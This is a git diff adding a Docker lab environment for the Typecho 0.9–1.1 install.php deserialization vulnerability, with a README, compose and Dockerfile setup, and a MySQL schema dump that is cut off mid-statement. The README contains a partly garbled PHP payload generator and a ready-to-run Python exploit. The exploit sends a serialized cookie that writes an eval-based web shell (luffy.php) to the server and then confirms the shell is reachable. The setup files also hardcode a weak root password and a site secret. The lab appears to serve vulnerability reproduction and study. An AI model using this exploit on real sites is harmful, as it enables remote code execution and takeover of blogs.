diff --git a/Typecho/1.0/README.md b/Typecho/1.0/README.md new file mode 100644 index 000000000..fa16a1e32 --- /dev/null +++ b/Typecho/1.0/README.md @@ -0,0 +1,89 @@ +## 环境构建 +``` +docker-compose build +docker-compose up -d +``` + +tip:系统在部署的时候Typecho/1.0/mysql/schema.sql的'siteUrl',0,'http://10.0.0.211'改成对应的ip地址 + +## 漏洞介绍 +typecho的install反序列漏洞,该漏洞影响的版本从0.9版本到1.1 + + + +getshell payload +0x01 首先生成padyload +``` +_items[] = $item; + } +} + +class Typecho_Request{ + private $_params = array('screenName'=>'file_put_contents(\'luffy.php\', \'\')'); + private $_filter = array('assert'); +} + +$payload1 = new Typecho_Feed(); +$payload2 = new Typecho_Request(); +$payload1->addItem(array('author' => $payload2)); +$exp = array('adapter' => $payload1, 'prefix' => 'typecho'); +echo base64_encode(serialize($exp)); +?> +``` + +然后填充内容到exp +``` +# -*- coding:utf-8 -*- +import requests,re +from bs4 import BeautifulSoup as bs + +def send(url): + # exp = 'YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF92ZXJzaW9uIjtpOjE7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJlbiI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwYXNzLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NDoidGgxcyI7fQ==+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjQ6InRoMXMiO30' + exp = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjM6ImZpbGVfcHV0X2NvbnRlbnRzKCdsdWZmeS5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW2x1ZmZ5XSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==" + referer = "http://"+url+"/admin" + cookies = {'__typecho_config':exp} + params = {"finish":1} + headers = { + 'Accept-Language': 'zh-CN,zh;q=0.8', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', + 'Referer': referer, + 'Host' : url + } + attack_url = "http://" + url + "/install.php" + exp_url ="http://" + url + "/luffy.php" + # print(attack_url) + try: + response = requests.get(attack_url,params=params,headers=headers,cookies=cookies) + + response2 = requests.get(exp_url,params=params,headers=headers) + + + if response2.status_code == 200: + print("wonderful! url is "+ exp_url + "\n") + else: + print("测试失败") + except Exception as e: + print(e) + print("requests error") + + + +send("127.0.0.1") + +``` +![](luffy.png) + + + +## 漏洞连接 +[链接一](https://lorexxar.cn/2017/10/26/typecho-getshell/) + diff --git a/Typecho/1.0/docker-compose.yml b/Typecho/1.0/docker-compose.yml new file mode 100644 index 000000000..9bf745780 --- /dev/null +++ b/Typecho/1.0/docker-compose.yml @@ -0,0 +1,19 @@ +version: '2' +services: + php5-typehco_1.0: + build: ./php-fpm + image: s1r1u5/typecho:1.0 + restart: always + links: + - mysql_typecho_1.0:db + ports: + - 80:80 + depends_on: + - mysql_typecho_1.0 + + mysql_typecho_1.0: + build: ./mysql + image: s1r1u5/mysql_typecho:1.0 + environment: + MYSQL_ROOT_PASSWORD: "123456" + diff --git a/Typecho/1.0/luffy.png b/Typecho/1.0/luffy.png new file mode 100644 index 000000000..862fae7a1 Binary files /dev/null and b/Typecho/1.0/luffy.png differ diff --git a/Typecho/1.0/mysql/Dockerfile b/Typecho/1.0/mysql/Dockerfile new file mode 100644 index 000000000..284e65867 --- /dev/null +++ b/Typecho/1.0/mysql/Dockerfile @@ -0,0 +1,11 @@ +FROM mysql:5.7 + +MAINTAINER s1riu5 + +ENV AUTO_RUN_DIR /docker-entrypoint-initdb.d + +ENV INSTALL_DB_SQL schema.sql + +COPY ./$INSTALL_DB_SQL $AUTO_RUN_DIR/ + +RUN chmod a+x $AUTO_RUN_DIR/$INSTALL_DB_SQL diff --git a/Typecho/1.0/mysql/schema.sql b/Typecho/1.0/mysql/schema.sql new file mode 100644 index 000000000..eac9fe07b --- /dev/null +++ b/Typecho/1.0/mysql/schema.sql @@ -0,0 +1,476 @@ +-- MySQL dump 10.13 Distrib 5.7.22, for Linux (x86_64) +-- +-- Host: localhost Database: tcho +-- ------------------------------------------------------ +-- Server version 5.7.22 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Table structure for table `type_comments` +-- +CREATE DATABASE IF NOT EXISTS `tcho` /*!40100 DEFAULT CHARACTER SET utf8 */; + +use tcho + + +DROP TABLE IF EXISTS `type_comments`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_comments` ( + `coid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `cid` int(10) unsigned DEFAULT '0', + `created` int(10) unsigned DEFAULT '0', + `author` varchar(200) DEFAULT NULL, + `authorId` int(10) unsigned DEFAULT '0', + `ownerId` int(10) unsigned DEFAULT '0', + `mail` varchar(200) DEFAULT NULL, + `url` varchar(200) DEFAULT NULL, + `ip` varchar(64) DEFAULT NULL, + `agent` varchar(200) DEFAULT NULL, + `text` text, + `type` varchar(16) DEFAULT 'comment', + `status` varchar(16) DEFAULT 'approved', + `parent` int(10) unsigned DEFAULT '0', + PRIMARY KEY (`coid`), + KEY `cid` (`cid`), + KEY `created` (`created`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_comments` +-- + +LOCK TABLES `type_comments` WRITE; +/*!40000 ALTER TABLE `type_comments` DISABLE KEYS */; +/*!40000 ALTER TABLE `type_comments` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `type_contents` +-- + +DROP TABLE IF EXISTS `type_contents`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_contents` ( + `cid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `title` varchar(200) DEFAULT NULL, + `slug` varchar(200) DEFAULT NULL, + `created` int(10) unsigned DEFAULT '0', + `modified` int(10) unsigned DEFAULT '0', + `text` text, + `order` int(10) unsigned DEFAULT '0', + `authorId` int(10) unsigned DEFAULT '0', + `template` varchar(32) DEFAULT NULL, + `type` varchar(16) DEFAULT 'post', + `status` varchar(16) DEFAULT 'publish', + `password` varchar(32) DEFAULT NULL, + `commentsNum` int(10) unsigned DEFAULT '0', + `allowComment` char(1) DEFAULT '0', + `allowPing` char(1) DEFAULT '0', + `allowFeed` char(1) DEFAULT '0', + `parent` int(10) unsigned DEFAULT '0', + PRIMARY KEY (`cid`), + UNIQUE KEY `slug` (`slug`), + KEY `created` (`created`) +) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_contents` +-- + +LOCK TABLES `type_contents` WRITE; +/*!40000 ALTER TABLE `type_contents` DISABLE KEYS */; +INSERT INTO `type_contents` VALUES (2,'关于','start-page',1511615545,1511615545,'本页面由 Typecho 创建, 这只是个测试页面.',0,1,NULL,'page','publish',NULL,0,'1','1','1',0),(3,'分享你的故事','3',1511615780,1511615780,'分享你的故事',0,1,NULL,'post','publish',NULL,0,'1','1','1',0); +/*!40000 ALTER TABLE `type_contents` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `type_fields` +-- + +DROP TABLE IF EXISTS `type_fields`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_fields` ( + `cid` int(10) unsigned NOT NULL, + `name` varchar(200) NOT NULL, + `type` varchar(8) DEFAULT 'str', + `str_value` text, + `int_value` int(10) DEFAULT '0', + `float_value` float DEFAULT '0', + PRIMARY KEY (`cid`,`name`), + KEY `int_value` (`int_value`), + KEY `float_value` (`float_value`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_fields` +-- + +LOCK TABLES `type_fields` WRITE; +/*!40000 ALTER TABLE `type_fields` DISABLE KEYS */; +/*!40000 ALTER TABLE `type_fields` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `type_metas` +-- + +DROP TABLE IF EXISTS `type_metas`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_metas` ( + `mid` int(10) unsigned NOT NULL AUTO_INCREMENT, + `name` varchar(200) DEFAULT NULL, + `slug` varchar(200) DEFAULT NULL, + `type` varchar(32) NOT NULL, + `description` varchar(200) DEFAULT NULL, + `count` int(10) unsigned DEFAULT '0', + `order` int(10) unsigned DEFAULT '0', + `parent` int(10) unsigned DEFAULT '0', + PRIMARY KEY (`mid`), + KEY `slug` (`slug`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_metas` +-- + +LOCK TABLES `type_metas` WRITE; +/*!40000 ALTER TABLE `type_metas` DISABLE KEYS */; +INSERT INTO `type_metas` VALUES (1,'默认分类','default','category','只是一个默认分类',1,1,0); +/*!40000 ALTER TABLE `type_metas` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `type_options` +-- + +DROP TABLE IF EXISTS `type_options`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_options` ( + `name` varchar(32) NOT NULL, + `user` int(10) unsigned NOT NULL DEFAULT '0', + `value` text, + PRIMARY KEY (`name`,`user`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_options` +-- + +LOCK TABLES `type_options` WRITE; +/*!40000 ALTER TABLE `type_options` DISABLE KEYS */; +INSERT INTO `type_options` VALUES ('theme',0,'default'),('theme:default',0,'a:2:{s:7:\"logoUrl\";N;s:12:\"sidebarBlock\";a:5:{i:0;s:15:\"ShowRecentPosts\";i:1;s:18:\"ShowRecentComments\";i:2;s:12:\"ShowCategory\";i:3;s:11:\"ShowArchive\";i:4;s:9:\"ShowOther\";}}'),('timezone',0,'28800'),('lang',0,NULL),('charset',0,'UTF-8'),('contentType',0,'text/html'),('gzip',0,'0'),('generator',0,'Typecho 1.0/14.10.9'),('title',0,'故事会'),('description',0,'Just So So ...'),('keywords',0,'typecho,php,blog'),('rewrite',0,'0'),('frontPage',0,'recent'),('frontArchive',0,'0'),('commentsRequireMail',0,'1'),('commentsWhitelist',0,'0'),('commentsRequireURL',0,'0'),('commentsRequireModeration',0,'0'),('plugins',0,'a:0:{}'),('commentDateFormat',0,'F jS, Y \\a\\t h:i a'),('siteUrl',0,'http://127.0.0.1:8002'),('defaultCategory',0,'1'),('allowRegister',0,'0'),('defaultAllowComment',0,'1'),('defaultAllowPing',0,'1'),('defaultAllowFeed',0,'1'),('pageSize',0,'5'),('postsListSize',0,'10'),('commentsListSize',0,'10'),('commentsHTMLTagAllowed',0,NULL),('postDateFormat',0,'Y-m-d'),('feedFullText',0,'1'),('editorSize',0,'350'),('autoSave',0,'0'),('markdown',0,'1'),('commentsMaxNestingLevels',0,'5'),('commentsPostTimeout',0,'2592000'),('commentsUrlNofollow',0,'1'),('commentsShowUrl',0,'1'),('commentsMarkdown',0,'0'),('commentsPageBreak',0,'0'),('commentsThreaded',0,'1'),('commentsPageSize',0,'20'),('commentsPageDisplay',0,'last'),('commentsOrder',0,'ASC'),('commentsCheckReferer',0,'1'),('commentsAutoClose',0,'0'),('commentsPostIntervalEnable',0,'1'),('commentsPostInterval',0,'60'),('commentsShowCommentOnly',0,'0'),('commentsAvatar',0,'1'),('commentsAvatarRating',0,'G'),('routingTable',0,'a:26:{i:0;a:25:{s:5:\"index\";a:6:{s:3:\"url\";s:1:\"/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:8:\"|^[/]?$|\";s:6:\"format\";s:1:\"/\";s:6:\"params\";a:0:{}}s:7:\"archive\";a:6:{s:3:\"url\";s:6:\"/blog/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:13:\"|^/blog[/]?$|\";s:6:\"format\";s:6:\"/blog/\";s:6:\"params\";a:0:{}}s:2:\"do\";a:6:{s:3:\"url\";s:22:\"/action/[action:alpha]\";s:6:\"widget\";s:9:\"Widget_Do\";s:6:\"action\";s:6:\"action\";s:4:\"regx\";s:32:\"|^/action/([_0-9a-zA-Z-]+)[/]?$|\";s:6:\"format\";s:10:\"/action/%s\";s:6:\"params\";a:1:{i:0;s:6:\"action\";}}s:4:\"post\";a:6:{s:3:\"url\";s:24:\"/archives/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:26:\"|^/archives/([0-9]+)[/]?$|\";s:6:\"format\";s:13:\"/archives/%s/\";s:6:\"params\";a:1:{i:0;s:3:\"cid\";}}s:10:\"attachment\";a:6:{s:3:\"url\";s:26:\"/attachment/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:28:\"|^/attachment/([0-9]+)[/]?$|\";s:6:\"format\";s:15:\"/attachment/%s/\";s:6:\"params\";a:1:{i:0;s:3:\"cid\";}}s:8:\"category\";a:6:{s:3:\"url\";s:17:\"/category/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:25:\"|^/category/([^/]+)[/]?$|\";s:6:\"format\";s:13:\"/category/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"slug\";}}s:3:\"tag\";a:6:{s:3:\"url\";s:12:\"/tag/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:20:\"|^/tag/([^/]+)[/]?$|\";s:6:\"format\";s:8:\"/tag/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"slug\";}}s:6:\"author\";a:6:{s:3:\"url\";s:22:\"/author/[uid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:24:\"|^/author/([0-9]+)[/]?$|\";s:6:\"format\";s:11:\"/author/%s/\";s:6:\"params\";a:1:{i:0;s:3:\"uid\";}}s:6:\"search\";a:6:{s:3:\"url\";s:19:\"/search/[keywords]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:23:\"|^/search/([^/]+)[/]?$|\";s:6:\"format\";s:11:\"/search/%s/\";s:6:\"params\";a:1:{i:0;s:8:\"keywords\";}}s:10:\"index_page\";a:6:{s:3:\"url\";s:21:\"/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:22:\"|^/page/([0-9]+)[/]?$|\";s:6:\"format\";s:9:\"/page/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"page\";}}s:12:\"archive_page\";a:6:{s:3:\"url\";s:26:\"/blog/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:27:\"|^/blog/page/([0-9]+)[/]?$|\";s:6:\"format\";s:14:\"/blog/page/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"page\";}}s:13:\"category_page\";a:6:{s:3:\"url\";s:32:\"/category/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:34:\"|^/category/([^/]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:16:\"/category/%s/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"slug\";i:1;s:4:\"page\";}}s:8:\"tag_page\";a:6:{s:3:\"url\";s:27:\"/tag/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:29:\"|^/tag/([^/]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:11:\"/tag/%s/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"slug\";i:1;s:4:\"page\";}}s:11:\"author_page\";a:6:{s:3:\"url\";s:37:\"/author/[uid:digital]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:33:\"|^/author/([0-9]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:14:\"/author/%s/%s/\";s:6:\"params\";a:2:{i:0;s:3:\"uid\";i:1;s:4:\"page\";}}s:11:\"search_page\";a:6:{s:3:\"url\";s:34:\"/search/[keywords]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:32:\"|^/search/([^/]+)/([0-9]+)[/]?$|\";s:6:\"format\";s:14:\"/search/%s/%s/\";s:6:\"params\";a:2:{i:0;s:8:\"keywords\";i:1;s:4:\"page\";}}s:12:\"archive_year\";a:6:{s:3:\"url\";s:18:\"/[year:digital:4]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:19:\"|^/([0-9]{4})[/]?$|\";s:6:\"format\";s:4:\"/%s/\";s:6:\"params\";a:1:{i:0;s:4:\"year\";}}s:13:\"archive_month\";a:6:{s:3:\"url\";s:36:\"/[year:digital:4]/[month:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:30:\"|^/([0-9]{4})/([0-9]{2})[/]?$|\";s:6:\"format\";s:7:\"/%s/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"year\";i:1;s:5:\"month\";}}s:11:\"archive_day\";a:6:{s:3:\"url\";s:52:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:41:\"|^/([0-9]{4})/([0-9]{2})/([0-9]{2})[/]?$|\";s:6:\"format\";s:10:\"/%s/%s/%s/\";s:6:\"params\";a:3:{i:0;s:4:\"year\";i:1;s:5:\"month\";i:2;s:3:\"day\";}}s:17:\"archive_year_page\";a:6:{s:3:\"url\";s:38:\"/[year:digital:4]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:33:\"|^/([0-9]{4})/page/([0-9]+)[/]?$|\";s:6:\"format\";s:12:\"/%s/page/%s/\";s:6:\"params\";a:2:{i:0;s:4:\"year\";i:1;s:4:\"page\";}}s:18:\"archive_month_page\";a:6:{s:3:\"url\";s:56:\"/[year:digital:4]/[month:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:44:\"|^/([0-9]{4})/([0-9]{2})/page/([0-9]+)[/]?$|\";s:6:\"format\";s:15:\"/%s/%s/page/%s/\";s:6:\"params\";a:3:{i:0;s:4:\"year\";i:1;s:5:\"month\";i:2;s:4:\"page\";}}s:16:\"archive_day_page\";a:6:{s:3:\"url\";s:72:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:55:\"|^/([0-9]{4})/([0-9]{2})/([0-9]{2})/page/([0-9]+)[/]?$|\";s:6:\"format\";s:18:\"/%s/%s/%s/page/%s/\";s:6:\"params\";a:4:{i:0;s:4:\"year\";i:1;s:5:\"month\";i:2;s:3:\"day\";i:3;s:4:\"page\";}}s:12:\"comment_page\";a:6:{s:3:\"url\";s:53:\"[permalink:string]/comment-page-[commentPage:digital]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:36:\"|^(.+)/comment\\-page\\-([0-9]+)[/]?$|\";s:6:\"format\";s:18:\"%s/comment-page-%s\";s:6:\"params\";a:2:{i:0;s:9:\"permalink\";i:1;s:11:\"commentPage\";}}s:4:\"feed\";a:6:{s:3:\"url\";s:20:\"/feed[feed:string:0]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:4:\"feed\";s:4:\"regx\";s:17:\"|^/feed(.*)[/]?$|\";s:6:\"format\";s:7:\"/feed%s\";s:6:\"params\";a:1:{i:0;s:4:\"feed\";}}s:8:\"feedback\";a:6:{s:3:\"url\";s:31:\"[permalink:string]/[type:alpha]\";s:6:\"widget\";s:15:\"Widget_Feedback\";s:6:\"action\";s:6:\"action\";s:4:\"regx\";s:29:\"|^(.+)/([_0-9a-zA-Z-]+)[/]?$|\";s:6:\"format\";s:5:\"%s/%s\";s:6:\"params\";a:2:{i:0;s:9:\"permalink\";i:1;s:4:\"type\";}}s:4:\"page\";a:6:{s:3:\"url\";s:12:\"/[slug].html\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";s:4:\"regx\";s:22:\"|^/([^/]+)\\.html[/]?$|\";s:6:\"format\";s:8:\"/%s.html\";s:6:\"params\";a:1:{i:0;s:4:\"slug\";}}}s:5:\"index\";a:3:{s:3:\"url\";s:1:\"/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:7:\"archive\";a:3:{s:3:\"url\";s:6:\"/blog/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:2:\"do\";a:3:{s:3:\"url\";s:22:\"/action/[action:alpha]\";s:6:\"widget\";s:9:\"Widget_Do\";s:6:\"action\";s:6:\"action\";}s:4:\"post\";a:3:{s:3:\"url\";s:24:\"/archives/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:10:\"attachment\";a:3:{s:3:\"url\";s:26:\"/attachment/[cid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:8:\"category\";a:3:{s:3:\"url\";s:17:\"/category/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:3:\"tag\";a:3:{s:3:\"url\";s:12:\"/tag/[slug]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:6:\"author\";a:3:{s:3:\"url\";s:22:\"/author/[uid:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:6:\"search\";a:3:{s:3:\"url\";s:19:\"/search/[keywords]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:10:\"index_page\";a:3:{s:3:\"url\";s:21:\"/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:12:\"archive_page\";a:3:{s:3:\"url\";s:26:\"/blog/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:13:\"category_page\";a:3:{s:3:\"url\";s:32:\"/category/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:8:\"tag_page\";a:3:{s:3:\"url\";s:27:\"/tag/[slug]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:11:\"author_page\";a:3:{s:3:\"url\";s:37:\"/author/[uid:digital]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:11:\"search_page\";a:3:{s:3:\"url\";s:34:\"/search/[keywords]/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:12:\"archive_year\";a:3:{s:3:\"url\";s:18:\"/[year:digital:4]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:13:\"archive_month\";a:3:{s:3:\"url\";s:36:\"/[year:digital:4]/[month:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:11:\"archive_day\";a:3:{s:3:\"url\";s:52:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:17:\"archive_year_page\";a:3:{s:3:\"url\";s:38:\"/[year:digital:4]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:18:\"archive_month_page\";a:3:{s:3:\"url\";s:56:\"/[year:digital:4]/[month:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:16:\"archive_day_page\";a:3:{s:3:\"url\";s:72:\"/[year:digital:4]/[month:digital:2]/[day:digital:2]/page/[page:digital]/\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:12:\"comment_page\";a:3:{s:3:\"url\";s:53:\"[permalink:string]/comment-page-[commentPage:digital]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}s:4:\"feed\";a:3:{s:3:\"url\";s:20:\"/feed[feed:string:0]\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:4:\"feed\";}s:8:\"feedback\";a:3:{s:3:\"url\";s:31:\"[permalink:string]/[type:alpha]\";s:6:\"widget\";s:15:\"Widget_Feedback\";s:6:\"action\";s:6:\"action\";}s:4:\"page\";a:3:{s:3:\"url\";s:12:\"/[slug].html\";s:6:\"widget\";s:14:\"Widget_Archive\";s:6:\"action\";s:6:\"render\";}}'),('actionTable',0,'a:0:{}'),('panelTable',0,'a:0:{}'),('attachmentTypes',0,'@image@'),('secret',0,'7%#0hiu(b^*X@)CT^J8sx$rg!OY*HGOu'); +/*!40000 ALTER TABLE `type_options` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `type_relationships` +-- + +DROP TABLE IF EXISTS `type_relationships`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `type_relationships` ( + `cid` int(10) unsigned NOT NULL, + `mid` int(10) unsigned NOT NULL, + PRIMARY KEY (`cid`,`mid`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `type_relationships` +-- + +LOCK TABLES `type_relationships` WRITE; +/*!40000 ALTER TABLE `type_relationships` DISABLE KEYS */; +INSERT INTO `type_relationships` VALUES (3,1); +/*!40000 ALTER TABLE `type_relationships` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `type_users` +-- + +DROP TABLE IF EXISTS 